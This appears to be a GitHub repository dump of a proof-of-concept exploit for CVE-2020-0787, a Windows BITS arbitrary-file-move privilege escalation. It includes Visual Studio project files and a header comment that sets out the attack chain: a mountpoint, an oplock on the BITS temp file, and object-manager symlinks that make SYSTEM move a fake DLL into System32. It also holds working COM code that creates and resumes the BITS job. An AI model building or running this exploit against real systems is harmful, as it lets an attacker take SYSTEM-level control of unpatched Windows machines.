├── BitsArbitraryFileMove.sln ├── BitsArbitraryFileMove.v12.suo ├── BitsArbitraryFileMove ├── BitsArbitraryFileMove.cpp ├── BitsArbitraryFileMove.h ├── BitsArbitraryFileMove.vcxproj ├── BitsArbitraryFileMove.vcxproj.filters ├── BitsArbitraryFileMove.vcxproj.user ├── CBitsCom.cpp └── CBitsCom.h ├── BitsArbitraryFileMoveExploit ├── BitsArbitraryFileMoveExploit.cpp ├── BitsArbitraryFileMoveExploit.vcxproj ├── BitsArbitraryFileMoveExploit.vcxproj.filters ├── BitsArbitraryFileMoveExploit.vcxproj.user └── resource.h ├── CommonUtils ├── CommonUtils.cpp ├── CommonUtils.h ├── CommonUtils.vcxproj ├── CommonUtils.vcxproj.filters ├── CommonUtils.vcxproj.user ├── DirectoryObject.cpp ├── FileOpLock.cpp ├── FileOpLock.h ├── FileSymlink.cpp ├── FileSymlink.h ├── Hardlink.cpp ├── NativeSymlink.cpp ├── RegistrySymlink.cpp ├── ReparsePoint.cpp ├── ReparsePoint.h ├── ScopedHandle.cpp ├── ScopedHandle.h ├── ntimports.h ├── stdafx.cpp ├── stdafx.h ├── targetver.h └── typed_buffer.h ├── README.md ├── Release └── BitsArbitraryFileMoveExploit.exe ├── index.gif └── x64 └── Release └── BitsArbitraryFileMoveExploit.exe /BitsArbitraryFileMove.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30503.244 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "BitsArbitraryFileMove", "BitsArbitraryFileMove\BitsArbitraryFileMove.vcxproj", "{36C758EB-8C26-4DD6-915E-7030275418A5}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CommonUtils", "CommonUtils\CommonUtils.vcxproj", "{2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}" 9 | EndProject 10 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "BitsArbitraryFileMoveExploit", "BitsArbitraryFileMoveExploit\BitsArbitraryFileMoveExploit.vcxproj", "{279C1CA8-E748-4BEC-BB7D-8AE7AEA2E60E}" 11 | EndProject 12 | Global 13 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 14 | Debug|x64 = Debug|x64 15 | Debug|x86 = Debug|x86 16 | Release|x64 = Release|x64 17 | Release|x86 = Release|x86 18 | EndGlobalSection 19 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 20 | {36C758EB-8C26-4DD6-915E-7030275418A5}.Debug|x64.ActiveCfg = Debug|x64 21 | {36C758EB-8C26-4DD6-915E-7030275418A5}.Debug|x64.Build.0 = Debug|x64 22 | {36C758EB-8C26-4DD6-915E-7030275418A5}.Debug|x86.ActiveCfg = Debug|Win32 23 | {36C758EB-8C26-4DD6-915E-7030275418A5}.Debug|x86.Build.0 = Debug|Win32 24 | {36C758EB-8C26-4DD6-915E-7030275418A5}.Release|x64.ActiveCfg = Release|x64 25 | {36C758EB-8C26-4DD6-915E-7030275418A5}.Release|x64.Build.0 = Release|x64 26 | {36C758EB-8C26-4DD6-915E-7030275418A5}.Release|x86.ActiveCfg = Release|Win32 27 | {36C758EB-8C26-4DD6-915E-7030275418A5}.Release|x86.Build.0 = Release|Win32 28 | {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Debug|x64.ActiveCfg = Debug|x64 29 | {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Debug|x86.ActiveCfg = Debug|Win32 30 | {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Debug|x86.Build.0 = Debug|Win32 31 | {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Release|x64.ActiveCfg = Release|x64 32 | {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Release|x64.Build.0 = Release|x64 33 | {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Release|x86.ActiveCfg = Release|Win32 34 | {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Release|x86.Build.0 = Release|Win32 35 | {279C1CA8-E748-4BEC-BB7D-8AE7AEA2E60E}.Debug|x64.ActiveCfg = Debug|x64 36 | {279C1CA8-E748-4BEC-BB7D-8AE7AEA2E60E}.Debug|x64.Build.0 = Debug|x64 37 | {279C1CA8-E748-4BEC-BB7D-8AE7AEA2E60E}.Debug|x86.ActiveCfg = Debug|Win32 38 | {279C1CA8-E748-4BEC-BB7D-8AE7AEA2E60E}.Debug|x86.Build.0 = Debug|Win32 39 | {279C1CA8-E748-4BEC-BB7D-8AE7AEA2E60E}.Release|x64.ActiveCfg = Release|x64 40 | {279C1CA8-E748-4BEC-BB7D-8AE7AEA2E60E}.Release|x64.Build.0 = Release|x64 41 | {279C1CA8-E748-4BEC-BB7D-8AE7AEA2E60E}.Release|x86.ActiveCfg = Release|Win32 42 | {279C1CA8-E748-4BEC-BB7D-8AE7AEA2E60E}.Release|x86.Build.0 = Release|Win32 43 | EndGlobalSection 44 | GlobalSection(SolutionProperties) = preSolution 45 | HideSolutionNode = FALSE 46 | EndGlobalSection 47 | GlobalSection(ExtensibilityGlobals) = postSolution 48 | SolutionGuid = {1114A180-4DB1-4FC6-8058-4018A3056CAA} 49 | EndGlobalSection 50 | EndGlobal 51 | -------------------------------------------------------------------------------- /BitsArbitraryFileMove.v12.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yanghaoi/CVE-2020-0787/d36ae6787b3ed136e1b756e6cf475481077f0cd7/BitsArbitraryFileMove.v12.suo -------------------------------------------------------------------------------- /BitsArbitraryFileMove/BitsArbitraryFileMove.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yanghaoi/CVE-2020-0787/d36ae6787b3ed136e1b756e6cf475481077f0cd7/BitsArbitraryFileMove/BitsArbitraryFileMove.cpp -------------------------------------------------------------------------------- /BitsArbitraryFileMove/BitsArbitraryFileMove.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | /* 4 | 0) Prepare workspace 5 | Create C:\workspace\ 6 | Create C:\workspace\mountpoint\ 7 | Create C:\workspace\bait\ 8 | Create C:\workspace\FakeDll.dll 9 | 10 | C:\workspace 11 | |__ mountpoint 12 | |__ redir 13 | |__ FakeDll.dll 14 | 15 | 1) Create a mountpoint 16 | C:\workspace\mountpoint\ -> C:\workspace\bait\ 17 | 18 | 2) Create the group / job / add file / etc. 19 | LocalFile = C:\workspace\mountpoint\test.txt 20 | 21 | At this point, a tmp file should have been created with user impersonation 22 | C:\workspace\bait\BITD857.tmp 23 | 24 | 3) Set an oplock on the tmp file 25 | C:\workspace\bait\BITD857.tmp 26 | 27 | 4) Resume the job 28 | The oplock will be triggered on the write operation as user 29 | 30 | 5) Switch the mountpoint and create symlinks 31 | C:\workspace\mountpoint\ -> \RPC Control 32 | \RPC Control\BITD857.tmp -> \??\C:\workspace\FakeDll.dll 33 | \RPC Control\test.txt -> \??\C:\Windows\System32\FakeDll.dll 34 | 35 | 6) Release the oplock 36 | The MoveFileW operation should be done as System 37 | */ 38 | 39 | #include 40 | #include 41 | #include 42 | 43 | #define DEBUG FALSE 44 | #define MAX_FILENAME 32 45 | #define MAX_MSG 1024 46 | 47 | class BitsArbitraryFileMove 48 | { 49 | private: 50 | BOOL m_bCustomSourceFile; 51 | WCHAR m_wszWorkspaceDirPath[MAX_PATH]; 52 | WCHAR m_wszMountpointDirPath[MAX_PATH]; 53 | WCHAR m_wszBaitDirPath[MAX_PATH]; 54 | WCHAR m_wszSourceFilePath[MAX_PATH]; 55 | WCHAR m_wszTargetFilePath[MAX_PATH]; 56 | WCHAR m_wszBitsLocalFileName[MAX_FILENAME]; 57 | WCHAR m_wszBitsTempFileName[MAX_FILENAME]; 58 | WCHAR m_wszBitsTempFilePath[MAX_PATH]; 59 | 60 | public: 61 | // Constructor / Destructor 62 | BitsArbitraryFileMove(); 63 | ~BitsArbitraryFileMove(); 64 | 65 | public: 66 | BOOL Run(LPCWSTR pwszDstFile); // e.g.: Destination="C:\Windows\System32\FakeDll.dll" 67 | BOOL Run(LPCWSTR pwszSrcFile, LPCWSTR pwszDstFile); // e.g.: Source="C:\Workspace\FakeDll.dll", Destination="C:\Windows\System32\FakeDll.dll" 68 | void PrintSuccess(LPCWSTR pwszMsg); 69 | 70 | private: 71 | BOOL PrepareWorkspace(); 72 | BOOL WriteSourceFile(); 73 | BOOL FindBitsTempFile(); 74 | BOOL TargetFileExists(); 75 | void CleanUp(); 76 | }; 77 | 78 | -------------------------------------------------------------------------------- /BitsArbitraryFileMove/BitsArbitraryFileMove.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {36C758EB-8C26-4DD6-915E-7030275418A5} 24 | Win32Proj 25 | BitsArbitraryFileMove 26 | 10.0 27 | 28 | 29 | 30 | StaticLibrary 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | StaticLibrary 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | StaticLibrary 44 | true 45 | v142 46 | Unicode 47 | Static 48 | 49 | 50 | StaticLibrary 51 | false 52 | v142 53 | true 54 | Unicode 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | true 76 | 77 | 78 | true 79 | 80 | 81 | false 82 | 83 | 84 | false 85 | 86 | 87 | 88 | 89 | 90 | Level3 91 | Disabled 92 | true 93 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 94 | true 95 | MultiThreaded 96 | ..\CommonUtils 97 | 98 | 99 | Console 100 | true 101 | 102 | 103 | 104 | 105 | 106 | 107 | Level3 108 | Disabled 109 | true 110 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 111 | true 112 | 113 | 114 | Console 115 | true 116 | 117 | 118 | 119 | 120 | 121 | 122 | Level3 123 | MaxSpeed 124 | true 125 | true 126 | true 127 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 128 | true 129 | MultiThreaded 130 | ..\CommonUtils 131 | 132 | 133 | Console 134 | true 135 | true 136 | true 137 | 138 | 139 | 140 | 141 | 142 | 143 | TurnOffAllWarnings 144 | MaxSpeed 145 | true 146 | true 147 | true 148 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 149 | true 150 | MultiThreaded 151 | 152 | 153 | Console 154 | true 155 | true 156 | true 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | {2aa6ab5e-18a8-49f4-b25d-587e8c3e4432} 170 | 171 | 172 | 173 | 174 | 175 | -------------------------------------------------------------------------------- /BitsArbitraryFileMove/BitsArbitraryFileMove.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Fichiers sources 20 | 21 | 22 | Fichiers sources 23 | 24 | 25 | 26 | 27 | Fichiers d%27en-tête 28 | 29 | 30 | Fichiers d%27en-tête 31 | 32 | 33 | -------------------------------------------------------------------------------- /BitsArbitraryFileMove/BitsArbitraryFileMove.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /BitsArbitraryFileMove/CBitsCom.cpp: -------------------------------------------------------------------------------- 1 | #pragma warning(disable:4996) 2 | #include "CBitsCom.h" 3 | 4 | CBitsCom::CBitsCom() 5 | { 6 | HRESULT hRes; 7 | 8 | m_guidGroup = BITSCOM_GUID_GROUP; 9 | hRes = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); 10 | hRes = CoCreateGuid(&m_guidJob); 11 | m_pUnkNewJobInterface = nullptr; 12 | } 13 | 14 | CBitsCom::~CBitsCom() 15 | { 16 | m_pUnkNewJobInterface = nullptr; 17 | m_pBackgroundCopyJob1->Release(); 18 | m_pBackgroundCopyGroup->Release(); 19 | m_pBackgroundCopyQMgr->Release(); 20 | CoUninitialize(); 21 | // NOTE: CoUninitialize() OK 22 | } 23 | 24 | DWORD CBitsCom::PrepareJob(LPCWSTR pwszJobLocalFilename) 25 | { 26 | HRESULT hRes; 27 | 28 | // --- Create an instance of BackgroundCopyQMgr --- 29 | //IBackgroundCopyQMgr* pBackgroundCopyQMgr; 30 | 31 | //hRes = CoCreateInstance(__uuidof(BackgroundCopyQMgr), NULL, CLSCTX_LOCAL_SERVER, __uuidof(IBackgroundCopyQMgr), (void**)&pBackgroundCopyQMgr); 32 | hRes = CoCreateInstance(__uuidof(BackgroundCopyQMgr), NULL, CLSCTX_LOCAL_SERVER, __uuidof(IBackgroundCopyQMgr), (void**)&m_pBackgroundCopyQMgr); 33 | if (FAILED(hRes)) 34 | { 35 | wprintf(L"[-] CoCreateInstance() failed. HRESULT=0x%08Xd\n", hRes); 36 | return BITSCOM_ERR_COCREATEINSTANCE_BCQMGR; 37 | } 38 | 39 | if (DEBUG) { wprintf_s(L"[DEBUG] CoCreateInstance() OK\n"); } 40 | 41 | 42 | // --- Create a Group or use existing one --- 43 | OLECHAR* groupGuidStr; 44 | //IBackgroundCopyGroup* pBackgroundCopyGroup; 45 | 46 | hRes = StringFromCLSID(m_guidGroup, &groupGuidStr); 47 | 48 | if (DEBUG) { wprintf_s(L"[DEBUG] Using Group GUID %ls\n", groupGuidStr); } 49 | 50 | //hRes = pBackgroundCopyQMgr->GetGroup(m_guidGroup, &pBackgroundCopyGroup); 51 | //hRes = m_pBackgroundCopyQMgr->GetGroup(m_guidGroup, &pBackgroundCopyGroup); 52 | hRes = m_pBackgroundCopyQMgr->GetGroup(m_guidGroup, &m_pBackgroundCopyGroup); 53 | if (SUCCEEDED(hRes)) 54 | { 55 | //hRes = pBackgroundCopyGroup->CancelGroup(); 56 | hRes = m_pBackgroundCopyGroup->CancelGroup(); 57 | if (FAILED(hRes)) 58 | { 59 | wprintf(L"[-] IBackgroundCopyGroup->CancelGroup() failed.\n"); 60 | wprintf(L" |__ HRESULT = 0x%08X\n", hRes); 61 | return BITSCOM_ERR_CANCELGROUP; 62 | } 63 | } 64 | 65 | if (DEBUG) { wprintf_s(L"[DEBUG] IBackgroundCopyGroup->CancelGroup() OK\n"); } 66 | 67 | //hRes = pBackgroundCopyQMgr->CreateGroup(m_guidGroup, &pBackgroundCopyGroup); 68 | //hRes = m_pBackgroundCopyQMgr->CreateGroup(m_guidGroup, &pBackgroundCopyGroup); 69 | hRes = m_pBackgroundCopyQMgr->CreateGroup(m_guidGroup, &m_pBackgroundCopyGroup); 70 | if (FAILED(hRes)) 71 | { 72 | wprintf(L"[-] IBackgroundCopyQMgr->CreateGroup() failed.\n"); 73 | wprintf(L" |__ Group GUID = %ls\n", groupGuidStr); 74 | //wprintf(L" |__ IBackgroundCopyGroup = %p\n", (void*)pBackgroundCopyGroup); 75 | wprintf(L" |__ IBackgroundCopyGroup = %p\n", (void*)m_pBackgroundCopyGroup); 76 | wprintf(L" |__ HRESULT = 0x%08X\n", hRes); 77 | return BITSCOM_ERR_CREATEGROUP; 78 | } 79 | 80 | if (DEBUG) { wprintf_s(L"[DEBUG] IBackgroundCopyQMgr->CreateGroup() OK\n"); } 81 | 82 | 83 | // --- Create a Job --- 84 | OLECHAR* jobGuidStr; 85 | //IBackgroundCopyJob1* backgroundCopyJob1; 86 | 87 | hRes = StringFromCLSID(m_guidJob, &jobGuidStr); 88 | 89 | if (DEBUG) { wprintf_s(L"[DEBUG] Using Job GUID %ls\n", jobGuidStr); } 90 | 91 | //hRes = pBackgroundCopyGroup->CreateJob(m_guidJob, &backgroundCopyJob1); 92 | //hRes = pBackgroundCopyGroup->CreateJob(m_guidJob, &m_pBackgroundCopyJob1); 93 | hRes = m_pBackgroundCopyGroup->CreateJob(m_guidJob, &m_pBackgroundCopyJob1); 94 | if (FAILED(hRes)) 95 | { 96 | wprintf(L"[-] IBackgroundCopyGroup->CreateJob() failed.\n"); 97 | wprintf(L" |__ Job GUID = %ls\n", jobGuidStr); 98 | //wprintf(L" |__ IBackgroundCopyJob1 = %p\n", (void *)backgroundCopyJob1); 99 | wprintf(L" |__ IBackgroundCopyJob1 = %p\n", (void *)m_pBackgroundCopyJob1); 100 | wprintf(L" |__ HRESULT = 0x%08X\n", hRes); 101 | return BITSCOM_ERR_CREATEJOB; 102 | } 103 | 104 | if (DEBUG) { wprintf_s(L"[DEBUG] IBackgroundCopyGroup->CreateJob() OK\n"); } 105 | 106 | 107 | // --- Add file to job --- 108 | FILESETINFO fileSetInfo; 109 | BSTR bstrRemoteFile = SysAllocString(L"\\\\127.0.0.1\\C$\\Windows\\System32\\drivers\\etc\\hosts"); 110 | BSTR bstrLocalFile = SysAllocString(pwszJobLocalFilename); 111 | 112 | fileSetInfo.bstrRemoteFile = bstrRemoteFile; 113 | fileSetInfo.bstrLocalFile = bstrLocalFile; 114 | 115 | FILESETINFO* fileSetInfoArray = (FILESETINFO*)malloc(1 * sizeof(FILESETINFO)); 116 | if (!fileSetInfoArray) 117 | { 118 | SysFreeString(bstrRemoteFile); 119 | SysFreeString(bstrLocalFile); 120 | wprintf(L"[-] malloc() failed (Err: %d).\n", GetLastError()); 121 | return BITSCOM_ERR_ALLOC_FILESETINFO; 122 | } 123 | 124 | fileSetInfoArray[0] = fileSetInfo; 125 | 126 | //hRes = backgroundCopyJob1->AddFiles(1, &fileSetInfoArray); 127 | hRes = m_pBackgroundCopyJob1->AddFiles(1, &fileSetInfoArray); 128 | if (FAILED(hRes)) 129 | { 130 | wprintf(L"[-] IBackgroundCopyJob1->AddFiles() failed.\n"); 131 | wprintf(L" |__ HRESULT = 0x%08X\n", hRes); 132 | free(fileSetInfoArray); 133 | SysFreeString(bstrRemoteFile); 134 | SysFreeString(bstrLocalFile); 135 | return BITSCOM_ERR_ALLOC_ADDFILES; 136 | } 137 | 138 | free(fileSetInfoArray); 139 | SysFreeString(bstrRemoteFile); 140 | SysFreeString(bstrLocalFile); 141 | 142 | if (DEBUG) { wprintf_s(L"[DEBUG] IBackgroundCopyJob1->AddFiles() OK\n"); } 143 | 144 | return BITSCOM_ERR_SUCCESS; 145 | } 146 | 147 | DWORD CBitsCom::ResumeJob() 148 | { 149 | HRESULT hRes; 150 | 151 | // --- Query new job interface --- 152 | hRes = m_pBackgroundCopyGroup->QueryNewJobInterface(__uuidof(IBackgroundCopyJob), &m_pUnkNewJobInterface); 153 | if (FAILED(hRes)) 154 | { 155 | wprintf(L"[-] IBackgroundCopyJob1->QueryNewJobInterface() failed.\n"); 156 | wprintf(L" |__ HRESULT = 0x%08X\n", hRes); 157 | return BITSCOM_ERR_QUERYNEWJOBINTERFACE; 158 | } 159 | 160 | if (DEBUG) { wprintf_s(L"[DEBUG] IBackgroundCopyJob1->QueryNewJobInterface() OK"); } 161 | 162 | CComQIPtr pBackgrounCopyJob(m_pUnkNewJobInterface); 163 | if (!pBackgrounCopyJob) 164 | { 165 | wprintf(L"[-] Interface pointer cast failed.\n"); 166 | return BITSCOM_ERR_JOBINTERFACECAST; 167 | } 168 | 169 | 170 | // --- Resume job --- 171 | hRes = pBackgrounCopyJob->Resume(); 172 | if (FAILED(hRes)) 173 | { 174 | wprintf(L"[-] IBackgroundCopyJob->Resume() failed. HRESULT=0x%08X\n", hRes); 175 | return BITSCOM_ERR_RESUMEJOB; 176 | } 177 | 178 | if (DEBUG) { wprintf_s(L"[DEBUG] IBackgroundCopyJob->Resume() OK"); } 179 | 180 | 181 | return BITSCOM_ERR_SUCCESS; 182 | } 183 | 184 | DWORD CBitsCom::CompleteJob() 185 | { 186 | HRESULT hRes; 187 | 188 | // --- Check whether we have a valid interface pointer --- 189 | if (m_pUnkNewJobInterface == nullptr) 190 | { 191 | wprintf(L"[-] New job interface pointer is null.\n"); 192 | return BITSCOM_ERR_NEWJOBINTERFACEISNULL; 193 | } 194 | 195 | 196 | // --- Cast interface poiter to IBackgroundCopyJob --- 197 | CComQIPtr pBackgrounCopyJob(m_pUnkNewJobInterface); 198 | if (!pBackgrounCopyJob) 199 | { 200 | wprintf(L"[-] Interface pointer cast failed.\n"); 201 | return BITSCOM_ERR_JOBINTERFACECAST; 202 | } 203 | 204 | 205 | // --- Monitor job state --- 206 | DWORD dwJobState = -1; 207 | DWORD dwMaxAttempts = 10; 208 | 209 | do { 210 | BG_JOB_STATE bgJobStateCurrent; 211 | 212 | hRes = pBackgrounCopyJob->GetState(&bgJobStateCurrent); 213 | if (FAILED(hRes)) 214 | { 215 | wprintf(L"[-] IBackgroundCopyJob->GetState() failed.\n"); 216 | wprintf(L" |__ HRESULT = 0x%08X\n", hRes); 217 | } 218 | 219 | if (bgJobStateCurrent != dwJobState) 220 | { 221 | WCHAR bgJobStateName[MAX_JOBSTATE_NAME]; 222 | ZeroMemory(bgJobStateName, MAX_JOBSTATE_NAME * sizeof(WCHAR)); 223 | GetJobStateName(bgJobStateCurrent, bgJobStateName); 224 | 225 | wprintf(L"[*] Job state: %ls\n", bgJobStateName); 226 | dwJobState = bgJobStateCurrent; 227 | } 228 | 229 | dwMaxAttempts--; 230 | Sleep(1000); 231 | } while (dwJobState != BG_JOB_STATE_TRANSFERRED && dwMaxAttempts != 0); 232 | 233 | // If job state isn't BG_JOB_STATE_TRANSFERRED, the job failed 234 | if (dwJobState != BG_JOB_STATE_TRANSFERRED) 235 | { 236 | return BITSCOM_ERR_JOB; 237 | } 238 | 239 | // --- Complete job --- 240 | hRes = pBackgrounCopyJob->Complete(); 241 | if (FAILED(hRes)) 242 | { 243 | wprintf(L"[-] IBackgroundCopyJob->Complete() failed.\n"); 244 | wprintf(L" |__ HRESULT = 0x%08X\n", hRes); 245 | return BITSCOM_ERR_COMPLETEJOB; 246 | } 247 | 248 | if (DEBUG) { wprintf_s(L"[DEBUG] IBackgroundCopyJob->Complete() OK\n"); } 249 | 250 | return BITSCOM_ERR_SUCCESS; 251 | } 252 | 253 | BOOL CBitsCom::GetJobStateName(BG_JOB_STATE bgJobState, LPWSTR pwszJobName) 254 | { 255 | const WCHAR* res; 256 | BOOL bRes = TRUE; 257 | 258 | switch (bgJobState) 259 | { 260 | case BG_JOB_STATE_QUEUED: 261 | res = L"BG_JOB_STATE_QUEUED"; 262 | break; 263 | case BG_JOB_STATE_CONNECTING: 264 | res = L"BG_JOB_STATE_CONNECTING"; 265 | break; 266 | case BG_JOB_STATE_TRANSFERRING: 267 | res = L"BG_JOB_STATE_TRANSFERRING"; 268 | break; 269 | case BG_JOB_STATE_SUSPENDED: 270 | res = L"BG_JOB_STATE_SUSPENDED"; 271 | break; 272 | case BG_JOB_STATE_ERROR: 273 | res = L"BG_JOB_STATE_ERROR"; 274 | break; 275 | case BG_JOB_STATE_TRANSIENT_ERROR: 276 | res = L"BG_JOB_STATE_TRANSIENT_ERROR"; 277 | break; 278 | case BG_JOB_STATE_TRANSFERRED: 279 | res = L"BG_JOB_STATE_TRANSFERRED"; 280 | break; 281 | case BG_JOB_STATE_ACKNOWLEDGED: 282 | res = L"BG_JOB_STATE_ACKNOWLEDGED"; 283 | break; 284 | case BG_JOB_STATE_CANCELLED: 285 | res = L"BG_JOB_STATE_CANCELLED"; 286 | break; 287 | default: 288 | res = L"UNKNOWN"; 289 | bRes = FALSE; 290 | } 291 | 292 | swprintf_s(pwszJobName, MAX_JOBSTATE_NAME, L"%ls", res); 293 | 294 | return bRes; 295 | } 296 | -------------------------------------------------------------------------------- /BitsArbitraryFileMove/CBitsCom.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #define DEBUG FALSE 11 | #define BITSCOM_GUID_GROUP { 0x63B45B2D, 0xA84B, 0x463E, { 0x9C, 0xD4, 0xC0, 0x48, 0xC1, 0xBF, 0x9E, 0x72 } } 12 | #define MAX_JOBSTATE_NAME 64 13 | 14 | enum PrepareJobError 15 | { 16 | BITSCOM_ERR_SUCCESS, 17 | BITSCOM_ERR_COCREATEINSTANCE_BCQMGR, 18 | BITSCOM_ERR_CREATEGROUP, 19 | BITSCOM_ERR_GETGROUP, 20 | BITSCOM_ERR_CANCELGROUP, 21 | BITSCOM_ERR_CREATEJOB, 22 | BITSCOM_ERR_GETJOB, 23 | BITSCOM_ERR_RESUMEJOB, 24 | BITSCOM_ERR_JOB, 25 | BITSCOM_ERR_COMPLETEJOB, 26 | BITSCOM_ERR_ALLOC_FILESETINFO, 27 | BITSCOM_ERR_ALLOC_ADDFILES, 28 | BITSCOM_ERR_QUERYNEWJOBINTERFACE, 29 | BITSCOM_ERR_JOBINTERFACECAST, 30 | BITSCOM_ERR_NEWJOBINTERFACEISNULL 31 | }; 32 | 33 | class CBitsCom 34 | { 35 | private: 36 | GUID m_guidGroup; 37 | GUID m_guidJob; 38 | IBackgroundCopyQMgr* m_pBackgroundCopyQMgr; 39 | IBackgroundCopyGroup* m_pBackgroundCopyGroup; 40 | IBackgroundCopyJob1* m_pBackgroundCopyJob1; 41 | CComPtr m_pUnkNewJobInterface; 42 | 43 | public: 44 | CBitsCom(); 45 | ~CBitsCom(); 46 | 47 | public: 48 | DWORD PrepareJob(LPCWSTR pwszJobLocalFilename); 49 | DWORD ResumeJob(); 50 | DWORD CompleteJob(); 51 | 52 | private: 53 | BOOL GetJobStateName(BG_JOB_STATE bgJobState, LPWSTR pwszJobName); 54 | }; 55 | 56 | -------------------------------------------------------------------------------- /BitsArbitraryFileMoveExploit/BitsArbitraryFileMoveExploit.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yanghaoi/CVE-2020-0787/d36ae6787b3ed136e1b756e6cf475481077f0cd7/BitsArbitraryFileMoveExploit/BitsArbitraryFileMoveExploit.cpp -------------------------------------------------------------------------------- /BitsArbitraryFileMoveExploit/BitsArbitraryFileMoveExploit.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {279C1CA8-E748-4BEC-BB7D-8AE7AEA2E60E} 24 | Win32Proj 25 | BitsArbitraryFileMoveExploit 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | Static 48 | 49 | 50 | Application 51 | false 52 | v142 53 | true 54 | Unicode 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | false 76 | 77 | 78 | true 79 | 80 | 81 | true 82 | 83 | 84 | false 85 | 86 | 87 | 88 | 89 | 90 | Level3 91 | MaxSpeed 92 | true 93 | true 94 | true 95 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 96 | false 97 | ..\BitsArbitraryFileMove;..\UsoDllLoader 98 | MultiThreaded 99 | 100 | 101 | Console 102 | true 103 | true 104 | false 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | Level3 114 | Disabled 115 | true 116 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 117 | true 118 | ..\BitsArbitraryFileMove;..\UsoDllLoader 119 | MultiThreaded 120 | 121 | 122 | Console 123 | true 124 | 125 | 126 | 127 | 128 | 129 | 130 | Level3 131 | Disabled 132 | true 133 | _DEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) 134 | true 135 | 136 | 137 | Console 138 | true 139 | $(SolutionDir)x64\Debug\BitsArbitraryFileMove.lib;$(SolutionDir)x64\Debug\CommonUtils.lib;AdvApi32.lib 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | TurnOffAllWarnings 149 | MaxSpeed 150 | true 151 | true 152 | true 153 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 154 | false 155 | MultiThreaded 156 | 157 | 158 | Console 159 | true 160 | true 161 | false 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | {36c758eb-8c26-4dd6-915e-7030275418a5} 173 | 174 | 175 | 176 | 177 | 178 | -------------------------------------------------------------------------------- /BitsArbitraryFileMoveExploit/BitsArbitraryFileMoveExploit.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 